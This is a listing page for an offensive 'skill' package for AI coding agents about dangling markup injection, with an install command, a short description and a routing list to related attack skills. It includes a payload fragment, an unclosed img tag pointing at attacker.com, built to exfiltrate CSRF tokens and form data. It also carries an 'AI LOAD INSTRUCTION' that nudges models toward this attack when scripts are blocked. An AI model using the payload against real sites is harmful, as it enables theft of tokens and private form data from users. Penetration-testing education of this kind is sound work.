Dangling Markup Injection

When CSP blocks your XSS or sanitizers strip event handlers, dangling markup lets you exfiltrate CSRF tokens and sensitive form data without executing JavaScript. You inject an unclosed HTML tag like `<img src="https://attacker.com/collect?` and let the browser consume everything after it until the next matching quote, turning hidden inputs and page content into URL parameters sent to your server. Chrome has mitigated some vectors since version 60, but form action hijacking and base tag poisoning still work across browsers. The skill covers seven exfiltration techniques, browser-specific quirks, and tactical combinations with CSRF and cache poisoning attacks. It's niche but essential when you hit that "HTML injection but no script execution" wall.

skills.sh installs: 3.8K
GitHub stars: 2.6K
last updated: Aug 21, 2026

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Install

$ npx -y skills add yaklang/hack-skills --skill dangling-markup-injection --agent claude-code

Installs into .claude/skills of the current project.

Files

SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

0. RELATED ROUTING

xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
crlf-injection when CRLF enables HTML injection in HTTP response
web-cache-deception when dangling markup + cache poisoning amplifies the attack